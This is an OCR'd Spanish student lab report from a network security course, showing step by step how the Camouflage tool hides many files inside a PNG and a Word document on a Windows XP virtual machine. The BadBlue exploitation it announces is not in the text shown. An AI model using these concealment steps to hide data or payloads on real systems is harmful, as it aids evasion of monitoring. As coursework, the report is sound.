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1 Introduccion

El presente informe tiene como propdsito documentar de manera detallada los
procedimientos realizados en el laboratorio de la asignatura Seguridad y Auditoria en Redes,
enfocados en dos practicas principales: el camuflaje de archivos dentro de diferentes formatos en
el sistema operativo Windows XP, y la explotacion del servicio BadBlue HTTPD 2.7. Estas
actividades permitieron analizar tanto los alcances y limitaciones de las técnicas de ocultamiento
de informacion, como la identificacion y aprovechamiento de vulnerabilidades en servicios
obsoletos, con el fin de comprender su funcionamiento y fortalecer los conocimientos en
ciberseguridad ofensiva y defensiva.

Durante la practica se instald y utilizo la herramienta Camouflage para medir la
capacidad de almacenamiento oculta que aceptan archivos con extensiones .png, .docx, .pdf'y
.exe, verificando experimentalmente los limites de insercion de datos. Posteriormente, se
configur6 un entorno controlado con maquinas virtuales de Windows XP y Kali Linux, donde se
realizo un analisis de vulnerabilidad y se aplicaron exploits al servicio BadBlue para estudiar su

comportamiento y posibles brechas de seguridad.



2 Objetivos

2.1  Objetivo General

Analizar y documentar los procesos de camuflaje de archivos y explotacion del servicio
BadBlue en un entorno controlado con Windows XP, con el fin de comprender las técnicas de
ocultamiento y vulnerabilidad que afectan la integridad y seguridad de los sistemas operativos

obsoletos.

2.2 Objetivo Especifico

Instalar la herramienta Camouflage en Windows XP para evaluar la capacidad maxima de
camuflaje de archivos en diferentes tipos de formato (.png, .docx, .pdf, .exe).

Configurar un entorno de laboratorio con méaquinas virtuales para realizar pruebas
controladas de vulnerabilidad y explotacion del servicio BadBlue.

Identificar los resultados obtenidos durante el proceso de camuflaje y explotacion,
determinando las limitaciones y causas de fallos en cada prueba.

Documentos los resultados obtenidos en cada uno de los procesos.



3 Capitulo 1 Camuflaje de Archivos en Windows XP.

Este primer capitulo de este informe consta de mostrar y mas que mostrar es tener una
idea de cuanta capacidad de archivos o de almacenamiento acepta un archivo en formato de
imagen, de pdf, de wor y exe para camuflar dentro de estos formatos.

Pero antes de realizar ese proceso, dentro de la maquina Windows XP necesitaba instalar
el programa para camuflar los archivos asi que decia utilizar las carpetas compartidas para poder
llevar a Windows XP el instalador del programa camuflage.

Entonces para utilizar la opcion de carpetas compartidas, primero inserté una imagen de
CD de los componentes del invitado, primero iniciando la méaquina, luego me dirigiéndome a la
parte superior de la venta y dentro de las opciones de dispositivos, seleccioné esa opcion.

ﬂ WINDOWS_XP [Corriendo] - Oracle VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda

k- Wy @ Unidades opticas 4
{8 Audio >
®F Red 3
(&’ UusB

I: Carpetas compartidas
P P

E] Portapapeles compartido »
@ Arrastrar y soltar 4

¢ X A
plaver

Upgrade Guest Additions...

YIC media 2

llustracion 1 Camuflaje de Archivos en Windows XP paso 1

Despues, ingrese a las opciones del pc o en la opcion que decia mi pc y alli ejcute la

imagen insertada.



l:_-.:@ Disco local (C)

Dispositivos con almacenamiento extraible

h WirtualBox Guest Additions (D)

Hlustracion 2 Camuflaje de Archivos en Windows XP paso 2

Al ejcutar la imagen esta abrio la ventana para instalar la imagen y en la primera ventana

seleccione el boton next.

Oracle VirtualBox Guest Additions 7.1.12 Setup :||:[E|
Welcome to Oracle VirtualBox Guest
Additions 7.1.12 Setup

Setup will guide wou through the installation of Cracle
VirtualBox Guest Additions 7.1.12,

It is recommended that vou clase all other applications
before skarting Setup. This will make it possible ko update
relevant system files without having ko reboak your
compuker,

Click Mext to conkinue,

Mexk = ] [ Cancel

llustracion 3 Camuflaje de Archivos en Windows XP paso 3

En el siguiente ventana oprimi tambien el boton next.



~ Oracle VirtualBox Guest Additions 7.1.12 Setup

Choose Install Location
Choose the Folder in which to install Sracle YirtualBox Guest Additions 7.1.12, Y’:

Setup will install Oracle YirkualBox Guest Additions 7.1.12 in the Following Folder, Tainstall ina
different Folder, click Browse and select another folder, Click Mext to continue.,

Destination Folder

C:\archivos de programa)OraclelvirtualBox Guest Additions | Browse. ..

Space required: 662.0 KB
Space available: 17,9 GE

[ < Back ” Mext = ] l Cancel

Hlustracion 4 Camuflaje de Archivos en Windows XP paso 4

Y en la siguiente ventana oprimi el boton install.

- Oracle VirtualBox Guest Additions 7.1.12 Setup

Choose Components
Choose which Features of Oracle YirtualBox Guest Additions 7.1.12 yvou wank to Y’:
install,

heck the components wou want to install and uncheck the components you don't wank to
inskall, Click Inskall ko skart the installation,

Select components to install: Ji Addition [rESEET

Direct30 Suppark (Experir
Start menu enkries

55 &

Space required; 662.0 KB

’ < Back “ Inskall ] [ Cancel

llustracion 5 Camuflaje de Archivos en Windows XP paso 6

Y por ultimo, cuando ya termino de instalar la imagen, oprimi el boton finish.



Oracle VirtualBox Guest Additions 7.1.12 Setup |Z|

Completing Oracle VirtualBox Guest
Additions 7.1.12 Setup

‘four cormputer musk be restarted in order to complete the
installation of Oracle YirkualBox Guest Additions 7.1.12. Do
vau wank to reboot now?

{®) Reboot now

(31 want to manualky rebook [ater

< Back Cancel

Hlustracion 6 Camuflaje de Archivos en Windows XP paso 6

Una vez terminado el proceso de isntalar la imagen de CD de la maquina, ahora si realiza

el proceso de compartir las carptas de mi maquina fisica a la maquina virtual de Windows XP.

Para eso me dirigi a la opcion de disitivo en la parte superior de la venta y luego

sellecione la opcion carpteas compartidas y luego en preferencias de carpteas compartidas.

racle VirtualBox

ida  Dispositivos  Ayuda

r?% BOl DGE O

Carpetas compartidas

Unidades opticas
Audio

Red

use

Portapapeles compartido

Arrastrar y soltar

Insertar imagen de CD de los complementos del invitado...

Upgrade Guest Additions...

llustracion 7 Camuflaje de Archivos en Windows XP paso 7



Despues, oprimi el icono de la carpta y el mas que se encuentra en la ventana de carpteas

compartidas para agregar una nueva carptea.

N 5
{2 WINDOWS_XP - Settings - (m} >
Basic M Search settings &
Carpetas compartidas
E General
Mombre Ruta Acceso Automontar En @
Sistema Carpetas de la maquina s
Carpetas transitorias I
M Fantaiia |
|
Almacenamiento
(DJ Audio i
W Red
Interfaz de usuario
. ||
@ Puertos serie | Archive ™ Maquina ¥ Ver ™ Entrada ™ Dispositivos ™ Depurar ™ Ayuda ™ a [
& UsB Estado visual: Mormal (ventana)
- Carpetas compartidas Minibarra de herramientas: @ Mostrar en pantalla completa/fluido
[CJ Mostrar en la parte superior de la pantalla
lf‘ Interfaz de usuario
|@ PREFEERECPEE]
Aceptar Cancelar Ayuda uig

N limmie mee A An s i

1lustracion 8 Camuflaje de Archivos en Windows XP paso 8

Luego seleccione la ruta de la carpeta.

P . Y"
{83 WINDOWS_XP - Settings — [m] X
Basic M Search settings &2
Carpetas compartidas
E General
Mombre Ruta Acceso Automontar En @
Sistema - T s
£ Afadir carpeta compartida X
M| Pantaita |
Ruta de carpeta: | ~ |
S ET I MNombre de carpeta:
(t{)] Audio Punte de montaje:
[T Sélo lectura
) Red
In [ Automontar
. 1 F I
@ Buetiossere L [C) Hacer permanente Depurar ™ Ayuda ™ a |
& USB Aceptar Cancelar
- Carpetas compartidas Minibarra de herramientas: @ Mostrar en pantalla completa/fluide
[CJ Mostrar en la parte superior de la pantalla
lfl Interfaz de usuario
@ DeRLPrOERE O8)
Aceptar Cancelar Ayuda uip

T e e T T R N PR | Nincpir serviddor de s

Hlustracion 9 Camuflaje de Archivos en Windows XP paso 9



En esta caso la carptea seleccionada se llamaba Calse 2 Oct 2025, que es la carpeta donde

estaba el archivo para instalar camufagle.

&3 WINDOWS_XP - Settings - o x| |
Basic M Search settings &£
Carpetas compartidas
E General
Me % Seleccionar carpeta
Sistema
<« > v i > Descargas > v O Buscar en Descargas
M Pantaita
| Almacenamiento Organizar « MNueva carpeta = - o
i Nomb Fecha de modificacién  Ti
(D:l Audio i > @ Franklin, UNIVES ombre echa de modificacion ipo
~ La semana pasada
& Red p
| Clase 2 Oct 2025 2/10/2025 9%:24a. m. Carpeta de arch

2 Escritorio »

In
@ Puertos serie L Doc_Mv 2/10/2023 %11 a. m. Carpeta de archi
; i Descargas & |~
* El mes pasado

& USB
0% Documentos #

- Lampiao
: Mir
- Carpetas compartidas -
_ Blmagenes » ni-usrp_25.3.1_offline

Carpeta de arch

Carpeta de arch

EI Interfaz de usuario |—' @) Misica » _temp_matlab_R2025a_Windows Carpeta de arch
u Videos »
Fntrefdanas iesg
+ado
Carpeta:  Clase 2 Oct 2025 A

Seleccionar carpeta Cancelar ste |

llustracion 10 Camuflaje de Archivos en Windows XP paso 10

Una vez estaba seleccionada la carpeta, active la opciones que decian Automontar y
Hacer permanete para que las carpetas estuvieran permanentes alli, asi apaganra la maquina

virtual.



‘E} WINDOWS_XP - Settings = [} x

Basic M Search settings &

Carpetas compartidas
E General

Sistema - T
(&) Afiadir carpeta compartida x

@ Pantalla o

Ruta de carpeta: _ C:\U..oads\Clase 2 Oct 2025

Mombre Ruta Accese Automontar En Eﬂ

SO ERTIED Mombre de carpeta: Clase_2_Oct_2025

(‘{)3 Audio Punto de montaje:

@ Red [ sélo lectura i
In. B Automontar

@ LUETins SEnE L B Hacer permanente Depurar ¥ Ayuda ¥ ] | l

& UsB Cancelar

- Carpetas compartidas Minibarra de herramientas: @ Mostrar en pantalla completa/fluido

[J Mostrar en la parte superior de la pantalla
lf‘ Interfaz de usuario

@ PeRESSNERE OH)|

Aceptar Cancelar Ayuda i

+ Mingun servidor de sequri

Hlustracion 11 Camuflaje de Archivos en Windows XP paso 11

Luego oprimi el boton aceptar para terminar con el proceso.
e —
‘E: WINDOWS_XP - Settings = O x

Basic M Search settings &£

Carpetas compartidas
E General

Mombre Ruta Acceso Automontar  En Eﬂ
Sistema ~ Carpetas de la maquina @

[Clase..025_1 C:\Users\HP\Downloads\Clase 2 Oct 2025 Compl Si [a
|§| Pantalla Carpetas transitorias
5 Almacenamiento

(DJ Audio
W Red

Interfaz de usuario

; |
@ Puertos serie | Archivo ¥ Maquina ™ Ver ™ Entrada ™ Dispositives ™ Depurar ¥ Ayuda ™ a
‘(.9 use Estado visual: Mormal (ventana) -
- Carpetas compartidas Minibarra de herramientas: B Mostrar en pantalla completa/fluide
[CJ Mostrar en la parte superior de la pantalla

Ifl Interfaz de usuario

) DeBRESS/NEEE O

Aceptar Cancelar Ayuda Lip

CRIRANR SEridne e cam vie

llustracion 12 Camuflaje de Archivos en Windows XP paso 12

Y luego ingrese a la opcion de mi pc en la maquina virtual y alli se escontraba

efectivamente la carpeta que habia compartido.



Dispositives con almacenamiento extraible

h YirtualBox Guest Additions (D)

Unidades de red

= 9 Clase_2_Oct_2025 1 en
"WBoxSvr" (2]

Mlustracion 13 Camuflaje de Archivos en Windows XP paso 13

Cuando verifique que la carpeta estaba efcativamente en la maquina virtual, ingrese a esta
y ejecute el archivo para poder instalar el programa camufalge, que tenia como nombre

Camoul?l.

L 7. 3 - internet-explarer-&-para-xp- A
ANy 3.0_aAdbeRdrB0_en_US ¢ » badblue-pe-2.72a Camaoulzl Archivo.cab autoextrable wlc-3.0,18-win32
[ ! Microsaft Corporation

Hlustracion 14 Camuflaje de Archivos en Windows XP paso 14

Al ejecitar el archivo este mostro la ventana para instalar el programa y en la primera

ventana oprimi la opcion que decia Unzip.

WinZip Self-Extractor - Camou121.exe

Tounzip all filez in Camoul2] . exe to the zpecified Unzip
folder prezs the Unzip buttan.

Run Windip
IInzip to folder:

hATMER 1 ACOMEIG ™ 14T em Browse. . | Cloze

W Owenwrite files without prompting Ahaut

¥ when done unzipping open: Setup.exe T
elp

{lustracion 15 Camuflaje de Archivos en Windows XP paso 15



En la siguiente ventana oprimi el boton que decia next.

Welcome

x|

Welcome to the Camouflage Setup program. T his
program will install Camouflage ok pour computer.

It iz stronaly recommended that you exit all Windows programs
befare running this Setup pragram.

Click Cancel to guit Setup and then close any programs pou
have munning. Click Mest to continug with the Setup program.

WARMNIMG: This program iz pratected by copyright law and
international treaties.

Unauthorized reproduction or digtribution of thiz program, ar any

portion of it, may result in gevere civil and criminal penalties, and
will be prozecuted to the maximurn extent possible under law.

Meut » | Cancel
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En la ventana siguiente oprimi el boton yes.

Please read the following License Agreement. Press the PAGE DOWH key to zee
the rest of the agreement.

zoftiare in any way.

provide Support Services,

Camouflage iz Freeware. vou are encouraged to freely use and distribute it provided that
no files are added or remaoved from the archive, and that all files contained within the
archive are distributed together.

All titles and copyrights in and ko Camouflage are owned exclusively by Twisted Pear
Productions. vou may not reverse engineer. decompile, disazzemble or alter Camouflage

To the masimum extent permitted by applicable law, in no event shall the individual
author(s] or Twisted Pear Produchions be liable for any special, incidental, indirect, or
conzeguential damages whatsoever [including, without limitation, damages for logs of
buzineszs profitz, buzsiness interruption, loss of buziness information, or any other pecuniary
lozz] arizing out of the uze of ar inability to uze Camouflage or the provizion of or failure ta

Do you accept all the terms of the preceding License Agreement? |f pou choose Mo, Setup
will cloze, To install Camouflage, vou must accept this agreement.

< Back Yes Mo
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En la ventana siguiente, oprimi el boton next.



Choose Destination Location

Setup will inztall Carmouflage in the fallowing folder.
T inztall to this falder, chok MNext.

To install to a different folder, click Browse and select another
folder.

f'ou can chooze not o install Camouflage by clicking Cancel to
exit Setup.

Destination Folder

C:\Archivos de programasCamouflage Browse...
< Back | Mext » | Cancel |
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Igualemnte en la ventana siguiente oprimi el boton next.

Select Program Folder

Setup will add program icons ko the Program Folder listed below.
'ou may tepe a new folder name, or select one from the exizting
Folders list. Click Mext to continue.

Proagram Folders:

Camouflage

Exizting Faolders:

Hermramientas administrativas
Inicio

Juegos

YideoLaMN
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Igualmente en la ventana siguiente oprimi el boton next.



Start Copying Files

Setup haz enough information to start copying the program files.
IF you want to review or change any settings, click Back. 1f you
are zatisfied with the zettingz. click Mext to begin copying files.

Current Settings:

Destination Directory:
C:Mrchivos de programahCamouflage

Prograrm Folder:
Camouflage

< Back | Mext = | Cancel ‘
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Y por ultimo en la siguiente ventana oprimi el boton finish para terminar el proceso de

instlacion del programa camuflage.

Setup Complete

Setup haz finizhed inztaling Camouflage on your computer,

Setup can launch the Read Me file and Camouflage Settings.
Chooze the options you want below.

¥ “es, | wart ta view the Read Me file now.

[ “Yes, | want to change Camouflage's Settings now.

Click Finizh to complete Setup.

| Finizh |
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Una vez termine de instalar el programa, necesitaba compartir a la maquina virtual desde

mi maquina fisica, los archivos que iba a utilizar para camuflar en los archivos con los formatos



que ya mensione. Este carpeta que utilice contenia una gran cantidad de archivos y me servirian
para realizar la actividad objetivo.

Para compartir ese carptea segui el mismo proceso anterior. Seleccione la ubicacion de la

carpeta.
Ne [ Seleccionar carpeta x
~
¥ “ e v O uscar en S| IDAD Y ALL..
« 4+ NOV. SEGURIDAD Y A C B SEGURIDAD Y AU.. p
Organizar = Mueva carpeta = - e
~
img Nombre Fecha de modificacidn Tipe

SEGURIDAD Y A Mingin elemente coincide con el criterio de bisqueda. i

SISTEMAS DEIN

.
~ [ Este equipo
Mir .
» = Discolocal (G
>l Red
e
Carpeta: SEGURIDAD Y AUDITORIA EN REDES
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Una vez seleccionada la carpeta que tenia como nombre seguridad y auditoria en redes,
marque las opciones que decian Automontar y Hacer permanentes para que permaneciera alli en

la maquina virtual y luego oprimi el boton aceptar.

]
& win P - Settings - O bl
Basic M Search settings £
Carpetas compartidas
E ‘General
Mombre Ruta Acceso Automontar En Pz
Sistema v CD- L
Adadir carpeta compartida X Coutn S
@ Pantalla
Ruta de carpeta: IDAD Y AUDITORIA EN REDES ~
= Nombre de carpeta: GURIDAD_Y_AUDITORIA_EN_REDES_1
({)] Audio Punte de montaje: |
[ Sélo lectura
ML Red
In B Automontar
@ TSR L 8 Hacer permanente |Depurar ~| Ayuda ~ [ ] |
& ua
|| Esars Minibarra de herramientas: @ Mostrar en pantalla completa/fluido
[ Mostrar en la parte superior de la pantalla
lf‘ Interfaz de usuario
(@ BeRESSOERE CH)|
Aceptar Cancelar Ayuda
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Por ultimo oprimi nuevamente el boton aceptar para terminar el proceso.

B
{2} WINDOWS_XP - Settings = ] ®
Basic M Search settings £
Carpetas compartidas
E General
Nombre Ruta Acceso Autornontar  En @
Sistema ~ Carpetas de la maquina
Clase..025_1 C\Users\HP"Downloads\Clase 2 Oct 2025 Completo S0 [a
IEJ Pantalla |SEGU..‘ES_1 C:\Us...ESTRE\SEGURIDAD Y AUDITORIA EN REDES Completo  Si
Carpetas transitorias o
Almacenamiento
(n Avdio
C S ey

Interfaz de usuario

@ Puertos serie | Archivo ¥ Maquina ™ Ver ¥ Entrada ¥ Dispositives ™ Depurar ¥ Ayuda ¥ ] |

ﬁ use Estado wvisual: Normal (ventana)

- Carpetas compartidas Minibarra de herramientas: 8 Mostrar en pantalla completa/fluido

() Mostrar en la parte superior de la pantalla
EI Interfaz de usuario

C FREMEEREEFEL]
Cancelar Ayuda
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Y luego me dirigi a las opciones de mi pc y alli efectivamente esta la carpeta que acababa

de compartir.

h WirtualBox Guest Additions (0:)

Unidades de red

l::;@ Seguridad_y_auditoria_en_rede
5_1 en "VBoxSwr" ()
==
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Ademas de compatir la carpeta de los archivos que iba a utilizar para camiflar, comparti
la carptea donde estaban los archivo que iba a utilizar para dentro de ellos camuflar esos
archivos, en eseo archivo se encontraba un documento de word, un pdf, una imagen y el archivo
de ejecuacion .exe.

Igualamente como en los procesos anteriores para compartir la carpeta ingrese a la opcion

de compartir carptea, seleccione la carpeta llamada Doc_ Mv.



iy = = m e s e e

~
«~ > w W > Descargas » E &) Buscar en Descargas
Organizar MNueva carpeta = -
/\' Inicio MNombre Fecha de modificacion Tipo
) ~ La semana pasada
» 0‘ Franklin - Persoi _
n Clase 2 Oct 2025 2/10/2025 9:24 3. m. Carpeta de arch
| > °. Franklin, UNIVEF !
L | Doc_Mv 2/10/2025 9:11a. m. Carpeta de archi
| s
~ El mes pasado
| EW Escritorio A Lampiae 4/08/2025 8:56a. m., Carpeta de arch
in
i Descargas ni-usrp_25.3.1_offline 3/09/2025 10:23 a. m. Carpeta de arch
’_" @ Documentos # _temp_matlab_R2025a_Windows 2/08/2025 12:57 p. m. Carpeta de arch
N Imagenes 4
Carpeta: Doc_Mv

Seleccionar carpeta Cancelar
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Una vez seleccionada marque la opnes que decian Automontar y Hacer permanentes para

que permanecieran dentro de la maquina virtaul y luego oprimi el boton acpetar.

‘{3 WINDOWS_XP - Settings

M General
Sistema

] Pantaita

{ Almacenamiento
| o Auwdio

M Red

£ Puertos serie
[ use

- Carpetas compartidas

EI Interfaz de usuario

Carpetas compartidas

.

= (m} X

Search settings &

MNembre Ruta

[ . -
& Afadir carpeta compartida X

Ruta de carpeta:

Mombre de carpeta: Doc_Mv_1

Punto de montaje:

Minibarra de herramientas: @ Mostrar en pantalla completa/fluide

Acceso Autornontar En E

Co.to 5P

EMREDES Co.te 5i
CAUsers...ownloads\Doc_Mv ~ I

[ sélo lectura “
@ Automontar

B Hacer permanente Depurar ¥ Ayuda ™ a | |

[CJ Mostrar en |a parte superior de la pantalla

QeHBBIOERE O)|

Aceptar Cancelar Ayuda
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Por ultimo, oprimi el boton aceptar para terminar el proceso.



(E) WINDOWS_XP - Settings = O *
Basic M Search settings &£
Carpetas compartidas
E General
Nombre Ruta Acceso Automontar En @
Sisterma ~  Carpetas de la maguina @
i Clase...025_1 C:\Users\HP\Downloads'\Clase 2 Oct 2025 Complete 50 [a
@ Pantalla SEGU..ES_1  Ci\Us...ESTRE\SEGURIDAD ¥ AUDITORIA EN REDES Completo 50
I |DD(_MV_1 C:\Users\HP"Downloads\Doc_Mv Complete 50
Almacenamiento Carpetas transitorias
(D: Audio |
& red I
Interfaz de usuario
@ Puertos serie | Archive ™ Maquina ™ Ver ™ Entrada ¥ Dispositivos ¥ Depurar ¥ Ayuda ™ (] |
ﬁ UsB Estado visual: Mormal (ventana)
- Carpetas compartidas Minibarra de herramientas: @ Mostrar en pantalla completa/fluido
[ Mostrar en Iz parte superior de la pantalla
E‘ Interfaz de usuario
|@ ECHRSSOEEE CE)|
Aceptar Cancelar Ayuda
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Y despues accedi a las opciones de mi pc para comprobar que la carpeta se habia

compartido correctamente y asi fue.

e Emmsmr s mE mmEs Emr s E s sE s ———

YirtualBox Guest Additions (D)

Unidades de red

w Doc_[y_1 en "WBoxSwr" (%)
[==——r—
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Cuando ya tenia todos los elementos listo para realizar la activida obejtivo, ya podia
realizar el proceso de camuflar los archivos y probar cuanta capacidad aceptada los formatos ya
mencionados.

Primero seleccione los archivos a camuflar.



EaCamouflage
{2 @ Uncamouflage

Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

Camoul2l
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Luego ingrese a las propiedades y alli oberver que eran 20 archivos y tenian 1,37 GB de

tamano.

il Propiedades de server2003 enterprise.iso, ... |E||X|

General Resumen |

@ 20 archivos, 0 carpetas

Tipa:

Multiples bpos

Ubicacian: Yarias carpetas

Tamafio: 1,37 GB (1.473.564.433 bytes)

Tamario en

1,37 GB (1.473.605.632 bytes)
disco:

Abributas: [15élo lectura [Opcinnes avanzadas... ]

[Joculta
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Luego seleccione la opcion que decia camuflage.



Motas
hacking E

Abrir
) B8 Camouflage
EauUncamouflage

Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

Camoul21 Info de
Como Instal...
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En la ventana siguiente me mostro todos los archivos y oprimi la opcion que decia next.

Camouflage

Thesze filez will be hidden within pour camouflaged file.

Mame
afarme de hacking Etico de Lampiao con Kal Linus ca... 3
Informe de hacking Etico del Madulo Meterpreter en 'wi... B
Informe de hacking Etico del Madulo Meterpreter en 'wi.. 33 KB
Informe de SOL Injection desde Fali Linux a Fristileaks. .. 4935 KB
t anual de Inztalacidn de Metazploitable 3. docs 1.515 KRB

Click here to get the latest verzsion < Back Mext = Cloze
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En la ventana siguiente me pidio que eligiera el archivo donde iba a camuflar todos esos
archivo, ahi es donde entre los formatos png, word. Pdf, exe. El primero que eligi fue el formato

png por lo cual, seleccione una imagen y luuego oprimi el boton abrir.

Select file to use as camouflage

Buscar en: |E Doc My 1 en "WBomSwr' <) j & = ER-
_E = Descripeian del Mapa del Municipio de Bojayé
k! EFiIeZiIIa_S.69.3_win64_spu:unsored2—setup
Daocumentas Informe de Coma Instalar los Drivers del Adaptador Inalambrico TP-LIMK en _kali Linu:,dc
recientes Lacalizacion_Mpio_ a_Carta_le¢
?[':
E zcritorio
Y
Mis documentos |
i
ki PC

Miz sitiog de red  Mombre: |Lu:ucalizaciu:un_h-1|:uiu:u_ Bojava_Carta_16Sept25 j &brir |
Tipa: |a‘-\|l Files ﬂ Cancelar
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Alli me mostro el archivo png que habia seleccione y luego oprimi el boton next.

S=)E3

Camouflage

Tour camouflaged filez will be made to look and act like the following file.

Camauflage Using #osLocalizacion_Mpio_ Bojaya_Carta 16Sept2b.png ﬂJ

Click here to get the latest version
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Despues, me pidio que si queria guardar el archivo de otro forma y decidi ponerle el

nombre de Camuflajeimagen y luego oprimi el boton next.

Camouflage

Chooze the location and filename for the camouflage file that is about to be created.

Create This File |mnya_'~.E seritariohComullajgimaan.png jJ

[v Read-only

Click here to get the latest version < Back Mext > LCloze
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Luego me pidio que estableciera una contrasefa y las escribi en los campos que se veian

en la imagen y luego oprimi el boton finish para terminar el proceso.

Camouflage

Enter a zecunty password for pour camouflaged file if you wigh.

EoE

Fazzword

Yerify Password ]

Click here to get the latest wersion < Back Finish Cloze
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Despues de unos minitos termino de camuflar los archivo, pude observar la imagen con el

nombre que habia establecido.

Comuflajeim. ..
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Pero cuando decidi abrir la imagen no pude observar el contenido de la imagen, tal vez
por la cantidad de archivo que habia camuflado. Esto ya me iba dando una idea de que tanta

capacidad de archivos podria permitir una imagen.

| ~ Comuflajeimgan, - Yisor, de imagenes y fax de Windows Z E'E'

Wista previa no disponible,

llustracion 39 Camuflaje de Archivos en Windows XP paso 39

Para observar los archivos que habia camuflado en esa imagen, hice el proceso contrario
al camuflaje, es decir el descamuflage.
Para eso primero seleccione la imagen, luego clic izquierdo sobre la imagen seleccionada

y luego clic en la opcion que decia Uncamuflage.



Yista previa
Editar
Imnprirnir

LA
B Carmouflage
E3Uncamauflage

Abrir con r

Enviar a

Cortar

Crear acceso directa

Eliminar
Zambiar nombre

Propiedades

Comuflajeimga
n
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En la ventana siguiente me pidio la contrasefia, alli escribi la contrasefia que habia

establecido anteriormente y luego oprimi el boton next.

Camouflage

Enter the pazsword [if any] bo extract the files from the camouflaged file. Settings

Paszward I“

Click here to get the latest version < Back Mext Cloze
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En la ventana siguiente me mostro todos los archivos que estaban camuflados, alli oprimi

el botdn next.



Camouflage

The camouflaged file [created with Camouflage «1.2.1] containz these files. Select the files pou
wizgh to extract or leave them unselected to extract them all

Hame | Size | Attributes ~
| ocalizacion_Mpio_ Bojaya_Carta_165ept?5.png g3kB A

Informe de hacking Etico de Lampian con K.ali Linus co... I272EE A 0
forme de hacking Etico de Lampiao con Kali Linus co... 2439KE A
Informe de hacking Etico del Madulo Meterpreter e Wi 4E393KE A

forme de hacking Etico del Madulo Meterpreter an Wi I3NMEE A v

Click here to get the latest version ¢ Back Mext LClaze
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En la ventana siguiente me pidio que guardara esos archivos en un lugar del pc o de la
maquina, cree una carpeta llamada descargas dentro del escritorio y alli en esa carpeta guarde los

archivos.

Select an output folder,

Guardar er: |@ Ezcritario j I:jg -
_2 E]Descargas
Documentos
recientes
[
E scritorio
(9
Miz documentos
% the
MiPC
@
Mis sitios de 12d  Nombre: | Etract fles here x| | Guedar |
Tipo: | j Cancelar
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Después de haber guardado los archivos en la carpeta, ingrese a esta misma y alli se

encontraban todos los archivos que antes habia camuflado.



& Descargas

Archivo  Edicién  Ver Favoritos  Herramientas  Ayuda

Q © j pBﬂsqueda [ capetas | [T3)-

Direccion |[2) CiDocuments and Settings|wayner _ankonio_naya_\Escritorio|Descargas

v B

Evidencias, md
Archivo MD
SKE

A fdobe Reader B >

Tareas de archivo y carpeta (& Acceso direct Camaul21

2KB

nforme de Escaneo v . Informe de hacking Etico de
Explotacién de Puertos V... Lampie con Kal Linu co...
Archiva DOCs ae Adobe Acrobat Document

|
- Informe de SQL Injection desde Localizacion_Mpia_
Dtros sitios E3 Kall Linux & Fristilzaks * Bojaya_Carka_L65ept2s
hanbe. o
&

;)| Adobe Acrobat Document 816, 1056
(B} Escritorio

(L) mis documentos
[ Documentos compartidos
W mipc

j Crear nueva carpeta

&N Publicar ssts carpeta en weh
f? Compartir esta carpeta

Archivo DOCE

2 Nokas de Clase
= | Documento de texto
= | 1oks

server 2003 enterprise. iso
Archivo 150

609,956 KB 1KB
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Informe: de hacking Etica de
Lampiao con Kl Linux co...

Manual de Instalacion de
Metasplottable 3
asge Ardobe Acrobat Document

YLC media player
iscceso diecto

Drivers del Adaptador Inalémb.. .

Médulo Meterpreter en Windo. ..

=
=p-

. Informe de Escaneo y
Explatacién de Pusrkos vuln, .
e Adobe Acrobat Document

Informe de hacking Etico del
Médulo Mekerpreter en Winda. .
Archiva DOCK

Hokas
Documento de texto
7B

Pero como ya habia probado camuflando 20 archivos con tamafio de 1,37 GB en un

archivo de Word, debia probar en los demas archivos es decir en word, pdf y exe.

Entonces, prosegui con un archivo de word, para este caso eran 21 archivos, pero el

tamafio era mucho mas grande 2,62 GB.

Propiedades de server2003 enterprise.iso, ...

General | Resurnen |

2

21 archivos, O carpetas

) Tipo: Miltiples tipos
1 Ibicacion: Warias carpetas
|
Tamario; 2,62 GB(2,817.467,803 bytes)

Tamario en 2,62 GB (2.817.511.424 hytes)
disco:

Akributos: [E] =éla lactura
[Noeula

Opciones avanzadas. .,

[ Acepkar ] l Cancelar
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Aplicar




Seleccioné los archivos y oprimi la opcion de camuflaje, la venta siguiente, me mostro
todos los archivos, alli puede observar el tamafio de cada uno para luego dar clic en el boton

next.

Camouflage

Theze files will be hidden within pour camouflaged file. Seftings

Size | Attributes

Informe !
Informe de hacking Etico del Madulo keterpreter en wi.. 4 638 KB
-E Informe de hacking Etico del Madulo keterpreter en 'wi.. 3.301 kB
Irforme de SOL Injection desde K.ali Linus a Fristileaks. .. 4 935 KR
M anual de Inztalacion de Metasploitable 3.docs 1.516ER

Click here to get the |atest version Mt Cloze
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En la ventana siguiente, seleccioné el archivo de word con extension .docx donde iba a

hacer el camuflaje de todos esos archivos y luego oprimi el botén abrir.

Select file to use as camouflage

Buzcar en: | |~ Descargas j |‘=_‘hiE v
_2 'E Adobe Reader 8
) E@ Camoulzl

Daocumentos Evidencias.md

[EciElies -E Informe de Coma Instalar los Drivers del Adaptador Inaldmbrico TP-LIME en Kali Linus:
?L_: . Informe de Escanen y Explotacion de Puertos Wulnerables de Metasploitable con Kali Linus
il Informe de Escanen y Explotacidn de Puertos Wulnerables de Metasploitable con Kali Linus
E scritorin 2 Informe de hacking Etico de Lampiao con Kali Linux como Magquina Atacante
N Informe de hacking Etico de Lampiao con Kali Linuz coma Maguina Atacante,doc

I Informe de hacking Etica del Madula Meterpreter en Windows XP, Windows Server 2003 vy
Informe de hacking Etica del Madula Meterpreter en Windows XP, Windows Server 2003 vy
-,!"_. Informe de SGQL Injection desde Kali Linux a Fristileaks

- g L‘ﬂ Localizacion_Mpio_ Bojava_rCarta_lE5epkzs

Mis documentos

] -E Manual de Instalacion de Metasploitable 3
iPC Manual de Instalacidn de Metasplaikable
Ej Mokas

@ oo >
Miz sitios de red  Mombre: |Manua| de Instalacion de Metasplaitable 3 j Abrir |
Tipo: |,-’.\|I Files j Cancelar

=
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La ventana siguiente, me mostro el archivo seleccionado y alli oprimi el boton next.

Camouflage

Your camouflaged files will be made to look and act like the following file.

Camauflage Using C:ADocuments and Settingshawayner_antonio_moya_4E zortonohD e ;IJ

Click here to get the |atest version < Back Mext > Close
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En la siguiente ventana, cambie el nombre del archivo y luego oprimi el boton next.

Camouflage

Chooge the location and filename for the camouflage file that iz about to be created.

Create Thiz File IE:‘\Documents and Settingstwayner_antanio_maya_word. docs LIJ

v Read-only

Click here to get the |atest version < Back Mewt »
